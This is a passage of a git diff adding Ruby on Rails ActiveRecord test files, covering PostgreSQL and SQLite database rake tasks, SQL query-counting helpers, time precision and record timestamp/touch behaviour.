+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+
+        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    class PostgreSQLPurgeTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true, drop_database: true)
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:clear_active_connections!).returns(true)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_clears_active_connections
+        ActiveRecord::Base.expects(:clear_active_connections!)
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+
+      def test_establishes_connection_to_postgresql_database
+        ActiveRecord::Base.expects(:establish_connection).with(
+          "adapter"            => "postgresql",
+          "database"           => "postgres",
+          "schema_search_path" => "public"
+        )
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+
+      def test_drops_database
+        @connection.expects(:drop_database).with("my-app-db")
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+
+      def test_creates_database
+        @connection.expects(:create_database).
+          with("my-app-db", @configuration.merge("encoding" => "utf8"))
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+
+      def test_establishes_connection
+        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+    end
+
+    class PostgreSQLDBCharsetTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true)
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_db_retrieves_charset
+        @connection.expects(:encoding)
+        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+      end
+    end
+
+    class PostgreSQLDBCollationTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true)
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_db_retrieves_collation
+        @connection.expects(:collation)
+        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+      end
+    end
+
+    class PostgreSQLStructureDumpTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(schema_search_path: nil, structure_dump: true)
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+        @filename = "/tmp/awesome-file.sql"
+        FileUtils.touch(@filename)
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+        Kernel.stubs(:system)
+      end
+
+      def teardown
+        FileUtils.rm_f(@filename)
+      end
+
+      def test_structure_dump
+        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "my-app-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+      end
+
+      def test_structure_dump_header_comments_removed
+        Kernel.stubs(:system).returns(true)
+        File.write(@filename, "-- header comment\n\n-- more header comment\n statement \n-- lower comment\n")
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+
+        assert_equal [" statement \n", "-- lower comment\n"], File.readlines(@filename).first(2)
+      end
+
+      def test_structure_dump_with_extra_flags
+        expected_command = ["pg_dump", "-s", "-x", "-O", "-f", @filename, "--noop", "my-app-db"]
+
+        assert_called_with(Kernel, :system, expected_command, returns: true) do
+          with_structure_dump_flags(["--noop"]) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+          end
+        end
+      end
+
+      def test_structure_dump_with_ignore_tables
+        ActiveRecord::SchemaDumper.expects(:ignore_tables).returns(["foo", "bar"])
+
+        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "-T", "foo", "-T", "bar", "my-app-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+      end
+
+      def test_structure_dump_with_schema_search_path
+        @configuration["schema_search_path"] = "foo,bar"
+
+        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "--schema=foo", "--schema=bar", "my-app-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+      end
+
+      def test_structure_dump_with_schema_search_path_and_dump_schemas_all
+        @configuration["schema_search_path"] = "foo,bar"
+
+        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename,  "my-app-db").returns(true)
+
+        with_dump_schemas(:all) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+
+      def test_structure_dump_with_dump_schemas_string
+        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "--schema=foo", "--schema=bar", "my-app-db").returns(true)
+
+        with_dump_schemas("foo,bar") do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+
+      private
+        def with_dump_schemas(value, &block)
+          old_dump_schemas = ActiveRecord::Base.dump_schemas
+          ActiveRecord::Base.dump_schemas = value
+          yield
+        ensure
+          ActiveRecord::Base.dump_schemas = old_dump_schemas
+        end
+
+        def with_structure_dump_flags(flags)
+          old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
+          yield
+        ensure
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
+        end
+    end
+
+    class PostgreSQLStructureLoadTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+        Kernel.stubs(:system)
+      end
+
+      def test_structure_load
+        filename = "awesome-file.sql"
+        Kernel.expects(:system).with("psql", "-v", "ON_ERROR_STOP=1", "-q", "-f", filename, @configuration["database"]).returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+      end
+
+      def test_structure_load_with_extra_flags
+        filename = "awesome-file.sql"
+        expected_command = ["psql", "-v", "ON_ERROR_STOP=1", "-q", "-f", filename, "--noop", @configuration["database"]]
+
+        assert_called_with(Kernel, :system, expected_command, returns: true) do
+          with_structure_load_flags(["--noop"]) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+          end
+        end
+      end
+
+      def test_structure_load_accepts_path_with_spaces
+        filename = "awesome file.sql"
+        Kernel.expects(:system).with("psql", "-v", "ON_ERROR_STOP=1", "-q", "-f", filename, @configuration["database"]).returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+      end
+
+      private
+        def with_structure_load_flags(flags)
+          old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
+          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
+          yield
+        ensure
+          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
new file mode 100644
index 0000000000..8ac4878c37
--- /dev/null
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -0,0 +1,242 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+require "pathname"
+
+if current_adapter?(:SQLite3Adapter)
+  module ActiveRecord
+    class SqliteDBCreateTest < ActiveRecord::TestCase
+      def setup
+        @database      = "db_create.sqlite3"
+        @connection    = stub :connection
+        @configuration = {
+          "adapter"  => "sqlite3",
+          "database" => @database
+        }
+
+        File.stubs(:exist?).returns(false)
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_db_checks_database_exists
+        File.expects(:exist?).with(@database).returns(false)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+      end
+
+      def test_when_db_created_successfully_outputs_info_to_stdout
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+
+        assert_equal "Created database '#{@database}'\n", $stdout.string
+      end
+
+      def test_db_create_when_file_exists
+        File.stubs(:exist?).returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+
+        assert_equal "Database '#{@database}' already exists\n", $stderr.string
+      end
+
+      def test_db_create_with_file_does_nothing
+        File.stubs(:exist?).returns(true)
+        $stderr.stubs(:puts).returns(nil)
+
+        ActiveRecord::Base.expects(:establish_connection).never
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+      end
+
+      def test_db_create_establishes_a_connection
+        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+      end
+
+      def test_db_create_with_error_prints_message
+        ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
+
+        $stderr.stubs(:puts).returns(true)
+        $stderr.expects(:puts).
+          with("Couldn't create database for #{@configuration.inspect}")
+
+        assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root" }
+      end
+    end
+
+    class SqliteDBDropTest < ActiveRecord::TestCase
+      def setup
+        @database      = "db_create.sqlite3"
+        @path          = stub(to_s: "/absolute/path", absolute?: true)
+        @configuration = {
+          "adapter"  => "sqlite3",
+          "database" => @database
+        }
+
+        Pathname.stubs(:new).returns(@path)
+        File.stubs(:join).returns("/former/relative/path")
+        FileUtils.stubs(:rm).returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_creates_path_from_database
+        Pathname.expects(:new).with(@database).returns(@path)
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
+      end
+
+      def test_removes_file_with_absolute_path
+        File.stubs(:exist?).returns(true)
+        @path.stubs(:absolute?).returns(true)
+
+        FileUtils.expects(:rm).with("/absolute/path")
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
+      end
+
+      def test_generates_absolute_path_with_given_root
+        @path.stubs(:absolute?).returns(false)
+
+        File.expects(:join).with("/rails/root", @path).
+          returns("/former/relative/path")
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
+      end
+
+      def test_removes_file_with_relative_path
+        File.stubs(:exist?).returns(true)
+        @path.stubs(:absolute?).returns(false)
+
+        FileUtils.expects(:rm).with("/former/relative/path")
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
+      end
+
+      def test_when_db_dropped_successfully_outputs_info_to_stdout
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
+
+        assert_equal "Dropped database '#{@database}'\n", $stdout.string
+      end
+    end
+
+    class SqliteDBCharsetTest < ActiveRecord::TestCase
+      def setup
+        @database      = "db_create.sqlite3"
+        @connection    = stub :connection
+        @configuration = {
+          "adapter"  => "sqlite3",
+          "database" => @database
+        }
+
+        File.stubs(:exist?).returns(false)
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_db_retrieves_charset
+        @connection.expects(:encoding)
+        ActiveRecord::Tasks::DatabaseTasks.charset @configuration, "/rails/root"
+      end
+    end
+
+    class SqliteDBCollationTest < ActiveRecord::TestCase
+      def setup
+        @database      = "db_create.sqlite3"
+        @connection    = stub :connection
+        @configuration = {
+          "adapter"  => "sqlite3",
+          "database" => @database
+        }
+
+        File.stubs(:exist?).returns(false)
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_db_retrieves_collation
+        assert_raise NoMethodError do
+          ActiveRecord::Tasks::DatabaseTasks.collation @configuration, "/rails/root"
+        end
+      end
+    end
+
+    class SqliteStructureDumpTest < ActiveRecord::TestCase
+      def setup
+        @database      = "db_create.sqlite3"
+        @configuration = {
+          "adapter"  => "sqlite3",
+          "database" => @database
+        }
+
+        `sqlite3 #{@database} 'CREATE TABLE bar(id INTEGER)'`
+        `sqlite3 #{@database} 'CREATE TABLE foo(id INTEGER)'`
+      end
+
+      def test_structure_dump
+        dbfile   = @database
+        filename = "awesome-file.sql"
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, "/rails/root"
+        assert File.exist?(dbfile)
+        assert File.exist?(filename)
+        assert_match(/CREATE TABLE foo/, File.read(filename))
+        assert_match(/CREATE TABLE bar/, File.read(filename))
+      ensure
+        FileUtils.rm_f(filename)
+        FileUtils.rm_f(dbfile)
+      end
+
+      def test_structure_dump_with_ignore_tables
+        dbfile   = @database
+        filename = "awesome-file.sql"
+        ActiveRecord::SchemaDumper.expects(:ignore_tables).returns(["foo"])
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename, "/rails/root")
+        assert File.exist?(dbfile)
+        assert File.exist?(filename)
+        assert_match(/bar/, File.read(filename))
+        assert_no_match(/foo/, File.read(filename))
+      ensure
+        FileUtils.rm_f(filename)
+        FileUtils.rm_f(dbfile)
+      end
+    end
+
+    class SqliteStructureLoadTest < ActiveRecord::TestCase
+      def setup
+        @database      = "db_create.sqlite3"
+        @configuration = {
+          "adapter"  => "sqlite3",
+          "database" => @database
+        }
+      end
+
+      def test_structure_load
+        dbfile   = @database
+        filename = "awesome-file.sql"
+
+        open(filename, "w") { |f| f.puts("select datetime('now', 'localtime');") }
+        ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, "/rails/root"
+        assert File.exist?(dbfile)
+      ensure
+        FileUtils.rm_f(filename)
+        FileUtils.rm_f(dbfile)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
new file mode 100644
index 0000000000..e57ebf56c8
--- /dev/null
+++ b/activerecord/test/cases/test_case.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+require "active_support/test_case"
+require "active_support/testing/autorun"
+require "active_support/testing/method_call_assertions"
+require "active_support/testing/stream"
+require "active_record/fixtures"
+
+require "cases/validations_repair_helper"
+
+module ActiveRecord
+  # = Active Record Test Case
+  #
+  # Defines some test assertions to test against SQL queries.
+  class TestCase < ActiveSupport::TestCase #:nodoc:
+    include ActiveSupport::Testing::MethodCallAssertions
+    include ActiveSupport::Testing::Stream
+    include ActiveRecord::TestFixtures
+    include ActiveRecord::ValidationsRepairHelper
+
+    self.fixture_path = FIXTURES_ROOT
+    self.use_instantiated_fixtures = false
+    self.use_transactional_tests = true
+
+    def create_fixtures(*fixture_set_names, &block)
+      ActiveRecord::FixtureSet.create_fixtures(ActiveRecord::TestCase.fixture_path, fixture_set_names, fixture_class_names, &block)
+    end
+
+    def teardown
+      SQLCounter.clear_log
+    end
+
+    def capture_sql
+      SQLCounter.clear_log
+      yield
+      SQLCounter.log_all.dup
+    end
+
+    def assert_sql(*patterns_to_match)
+      capture_sql { yield }
+    ensure
+      failed_patterns = []
+      patterns_to_match.each do |pattern|
+        failed_patterns << pattern unless SQLCounter.log_all.any? { |sql| pattern === sql }
+      end
+      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map(&:inspect).join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
+    end
+
+    def assert_queries(num = 1, options = {})
+      ignore_none = options.fetch(:ignore_none) { num == :any }
+      SQLCounter.clear_log
+      x = yield
+      the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
+      if num == :any
+        assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
+      else
+        mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
+        assert_equal num, the_log.size, mesg
+      end
+      x
+    end
+
+    def assert_no_queries(options = {}, &block)
+      options.reverse_merge! ignore_none: true
+      assert_queries(0, options, &block)
+    end
+
+    def assert_column(model, column_name, msg = nil)
+      assert has_column?(model, column_name), msg
+    end
+
+    def assert_no_column(model, column_name, msg = nil)
+      assert_not has_column?(model, column_name), msg
+    end
+
+    def has_column?(model, column_name)
+      model.reset_column_information
+      model.column_names.include?(column_name.to_s)
+    end
+  end
+
+  class PostgreSQLTestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:PostgreSQLAdapter)
+    end
+  end
+
+  class Mysql2TestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:Mysql2Adapter)
+    end
+  end
+
+  class SQLite3TestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:SQLite3Adapter)
+    end
+  end
+
+  class SQLCounter
+    class << self
+      attr_accessor :ignored_sql, :log, :log_all
+      def clear_log; self.log = []; self.log_all = []; end
+    end
+
+    clear_log
+
+    self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+
+    # FIXME: this needs to be refactored so specific database can add their own
+    # ignored SQL, or better yet, use a different notification for the queries
+    # instead examining the SQL content.
+    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im]
+    mysql_ignored      = [/^SHOW FULL TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i, /^SHOW VARIABLES /, /^\s*SELECT (?:column_name|table_name)\b.*\bFROM information_schema\.(?:key_column_usage|tables)\b/im]
+    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select tablename\b.*from pg_tables\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
+    sqlite3_ignored =    [/^\s*SELECT name\b.*\bFROM sqlite_master/im, /^\s*SELECT sql\b.*\bFROM sqlite_master/im]
+
+    [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
+      ignored_sql.concat db_ignored_sql
+    end
+
+    attr_reader :ignore
+
+    def initialize(ignore = Regexp.union(self.class.ignored_sql))
+      @ignore = ignore
+    end
+
+    def call(name, start, finish, message_id, values)
+      return if values[:cached]
+
+      sql = values[:sql]
+      self.class.log_all << sql
+      self.class.log << sql unless ignore.match?(sql)
+    end
+  end
+
+  ActiveSupport::Notifications.subscribe("sql.active_record", SQLCounter.new)
+end
diff --git a/activerecord/test/cases/test_fixtures_test.rb b/activerecord/test/cases/test_fixtures_test.rb
new file mode 100644
index 0000000000..4411410eda
--- /dev/null
+++ b/activerecord/test/cases/test_fixtures_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class TestFixturesTest < ActiveRecord::TestCase
+  setup do
+    @klass = Class.new
+    @klass.include(ActiveRecord::TestFixtures)
+  end
+
+  def test_use_transactional_tests_defaults_to_true
+    assert_equal true, @klass.use_transactional_tests
+  end
+
+  def test_use_transactional_tests_can_be_overridden
+    @klass.use_transactional_tests = "foobar"
+
+    assert_equal "foobar", @klass.use_transactional_tests
+  end
+end
diff --git a/activerecord/test/cases/time_precision_test.rb b/activerecord/test/cases/time_precision_test.rb
new file mode 100644
index 0000000000..41455637bb
--- /dev/null
+++ b/activerecord/test/cases/time_precision_test.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if subsecond_precision_supported?
+  class TimePrecisionTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+    self.use_transactional_tests = false
+
+    class Foo < ActiveRecord::Base; end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      Foo.reset_column_information
+    end
+
+    teardown do
+      @connection.drop_table :foos, if_exists: true
+    end
+
+    def test_time_data_type_with_precision
+      @connection.create_table(:foos, force: true)
+      @connection.add_column :foos, :start,  :time, precision: 3
+      @connection.add_column :foos, :finish, :time, precision: 6
+      assert_equal 3, Foo.columns_hash["start"].precision
+      assert_equal 6, Foo.columns_hash["finish"].precision
+    end
+
+    def test_passing_precision_to_time_does_not_set_limit
+      @connection.create_table(:foos, force: true) do |t|
+        t.time :start,  precision: 3
+        t.time :finish, precision: 6
+      end
+      assert_nil Foo.columns_hash["start"].limit
+      assert_nil Foo.columns_hash["finish"].limit
+    end
+
+    def test_invalid_time_precision_raises_error
+      assert_raises ActiveRecord::ActiveRecordError do
+        @connection.create_table(:foos, force: true) do |t|
+          t.time :start,  precision: 7
+          t.time :finish, precision: 7
+        end
+      end
+    end
+
+    def test_formatting_time_according_to_precision
+      @connection.create_table(:foos, force: true) do |t|
+        t.time :start,  precision: 0
+        t.time :finish, precision: 4
+      end
+      time = ::Time.utc(2000, 1, 1, 12, 30, 0, 999999)
+      Foo.create!(start: time, finish: time)
+      assert foo = Foo.find_by(start: time)
+      assert_equal 1, Foo.where(finish: time).count
+      assert_equal time.to_s, foo.start.to_s
+      assert_equal time.to_s, foo.finish.to_s
+      assert_equal 000000, foo.start.usec
+      assert_equal 999900, foo.finish.usec
+    end
+
+    def test_schema_dump_includes_time_precision
+      @connection.create_table(:foos, force: true) do |t|
+        t.time :start,  precision: 4
+        t.time :finish, precision: 6
+      end
+      output = dump_table_schema("foos")
+      assert_match %r{t\.time\s+"start",\s+precision: 4$}, output
+      assert_match %r{t\.time\s+"finish",\s+precision: 6$}, output
+    end
+
+    if current_adapter?(:PostgreSQLAdapter, :SQLServerAdapter)
+      def test_time_precision_with_zero_should_be_dumped
+        @connection.create_table(:foos, force: true) do |t|
+          t.time :start,  precision: 0
+          t.time :finish, precision: 0
+        end
+        output = dump_table_schema("foos")
+        assert_match %r{t\.time\s+"start",\s+precision: 0$}, output
+        assert_match %r{t\.time\s+"finish",\s+precision: 0$}, output
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
new file mode 100644
index 0000000000..ba0bc6c45d
--- /dev/null
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -0,0 +1,478 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+require "models/developer"
+require "models/computer"
+require "models/owner"
+require "models/pet"
+require "models/toy"
+require "models/car"
+require "models/task"
+
+class TimestampTest < ActiveRecord::TestCase
+  fixtures :developers, :owners, :pets, :toys, :cars, :tasks
+
+  def setup
+    @developer = Developer.first
+    @owner = Owner.first
+    @developer.update_columns(updated_at: Time.now.prev_month)
+    @previously_updated_at = @developer.updated_at
+  end
+
+  def test_saving_a_changed_record_updates_its_timestamp
+    @developer.name = "Jack Bauer"
+    @developer.save!
+
+    assert_not_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_saving_a_unchanged_record_doesnt_update_its_timestamp
+    @developer.save!
+
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_touching_a_record_updates_its_timestamp
+    previous_salary = @developer.salary
+    @developer.salary = previous_salary + 10000
+    @developer.touch
+
+    assert_not_equal @previously_updated_at, @developer.updated_at
+    assert_equal previous_salary + 10000, @developer.salary
+    assert @developer.salary_changed?, "developer salary should have changed"
+    assert @developer.changed?, "developer should be marked as changed"
+    @developer.reload
+    assert_equal previous_salary, @developer.salary
+  end
+
+  def test_touching_a_record_with_default_scope_that_excludes_it_updates_its_timestamp
+    developer = @developer.becomes(DeveloperCalledJamis)
+
+    developer.touch
+    assert_not_equal @previously_updated_at, developer.updated_at
+    developer.reload
+    assert_not_equal @previously_updated_at, developer.updated_at
+  end
+
+  def test_saving_when_record_timestamps_is_false_doesnt_update_its_timestamp
+    Developer.record_timestamps = false
+    @developer.name = "John Smith"
+    @developer.save!
+
+    assert_equal @previously_updated_at, @developer.updated_at
+  ensure
+    Developer.record_timestamps = true
+  end
+
+  def test_saving_when_instance_record_timestamps_is_false_doesnt_update_its_timestamp
+    @developer.record_timestamps = false
+    assert Developer.record_timestamps
+
+    @developer.name = "John Smith"
+    @developer.save!
+
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_touching_updates_timestamp_with_given_time
+    previously_updated_at = @developer.updated_at
+    new_time = Time.utc(2015, 2, 16, 0, 0, 0)
+    @developer.touch(time: new_time)
+
+    assert_not_equal previously_updated_at, @developer.updated_at
+    assert_equal new_time, @developer.updated_at
+  end
+
+  def test_touching_an_attribute_updates_timestamp
+    previously_created_at = @developer.created_at
+    travel(1.second) do
+      @developer.touch(:created_at)
+    end
+
+    assert !@developer.created_at_changed? , "created_at should not be changed"
+    assert !@developer.changed?, "record should not be changed"
+    assert_not_equal previously_created_at, @developer.created_at
+    assert_not_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_touching_an_attribute_updates_it
+    task = Task.first
+    previous_value = task.ending
+    task.touch(:ending)
+
+    now = Time.now.change(usec: 0)
+
+    assert_not_equal previous_value, task.ending
+    assert_in_delta now, task.ending, 1
+  end
+
+  def test_touching_an_attribute_updates_timestamp_with_given_time
+    previously_updated_at = @developer.updated_at
+    previously_created_at = @developer.created_at
+    new_time = Time.utc(2015, 2, 16, 4, 54, 0)
+    @developer.touch(:created_at, time: new_time)
+
+    assert_not_equal previously_created_at, @developer.created_at
+    assert_not_equal previously_updated_at, @developer.updated_at
+    assert_equal new_time, @developer.created_at
+    assert_equal new_time, @developer.updated_at
+  end
+
+  def test_touching_many_attributes_updates_them
+    task = Task.first
+    previous_starting = task.starting
+    previous_ending = task.ending
+    task.touch(:starting, :ending)
+
+    now = Time.now.change(usec: 0)
+
+    assert_not_equal previous_starting, task.starting
+    assert_not_equal previous_ending, task.ending
+    assert_in_delta now, task.starting, 1
+    assert_in_delta now, task.ending, 1
+  end
+
+  def test_touching_a_record_without_timestamps_is_unexceptional
+    assert_nothing_raised { Car.first.touch }
+  end
+
+  def test_touching_a_no_touching_object
+    Developer.no_touching do
+      assert @developer.no_touching?
+      assert !@owner.no_touching?
+      @developer.touch
+    end
+
+    assert !@developer.no_touching?
+    assert !@owner.no_touching?
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_touching_related_objects
+    @owner = Owner.first
+    @previously_updated_at = @owner.updated_at
+
+    Owner.no_touching do
+      @owner.pets.first.touch
+    end
+
+    assert_equal @previously_updated_at, @owner.updated_at
+  end
+
+  def test_global_no_touching
+    ActiveRecord::Base.no_touching do
+      assert @developer.no_touching?
+      assert @owner.no_touching?
+      @developer.touch
+    end
+
+    assert !@developer.no_touching?
+    assert !@owner.no_touching?
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_no_touching_threadsafe
+    Thread.new do
+      Developer.no_touching do
+        assert @developer.no_touching?
+
+        sleep(1)
+      end
+    end
+
+    assert !@developer.no_touching?
+  end
+
+  def test_no_touching_with_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+
+      attr_accessor :after_touch_called
+
+      after_touch do |user|
+        user.after_touch_called = true
+      end
+    end
+
+    developer = klass.first
+
+    klass.no_touching do
+      developer.touch
+      assert_not developer.after_touch_called
+    end
+  end
+
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
+    pet   = Pet.first
+    owner = pet.owner
+    previously_owner_updated_at = owner.updated_at
+
+    travel(1.second) do
+      pet.name = "Fluffy the Third"
+      pet.save
+    end
+
+    assert_not_equal previously_owner_updated_at, pet.owner.updated_at
+  end
+
+  def test_destroying_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
+    pet   = Pet.first
+    owner = pet.owner
+    previously_owner_updated_at = owner.updated_at
+
+    travel(1.second) do
+      pet.destroy
+    end
+
+    assert_not_equal previously_owner_updated_at, pet.owner.updated_at
+  end
+
+  def test_saving_a_new_record_belonging_to_invalid_parent_with_touch_should_not_raise_exception
+    klass = Class.new(Owner) do
+      def self.name; "Owner"; end
+      validate { errors.add(:base, :invalid) }
+    end
+
+    pet = Pet.new(owner: klass.new)
+    pet.save!
+
+    assert pet.owner.new_record?
+  end
+
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Pet"; end
+      belongs_to :owner, touch: :happy_at
+    end
+
+    pet   = klass.first
+    owner = pet.owner
+    previously_owner_happy_at = owner.happy_at
+
+    pet.name = "Fluffy the Third"
+    pet.save
+
+    assert_not_equal previously_owner_happy_at, pet.owner.happy_at
+  end
+
+  def test_touching_a_record_with_a_belongs_to_that_uses_a_counter_cache_should_update_the_parent
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Pet"; end
+      belongs_to :owner, counter_cache: :use_count, touch: true
+    end
+
+    pet = klass.first
+    owner = pet.owner
+    owner.update_columns(happy_at: 3.days.ago)
+    previously_owner_updated_at = owner.updated_at
+
+    travel(1.second) do
+      pet.name = "I'm a parrot"
+      pet.save
+    end
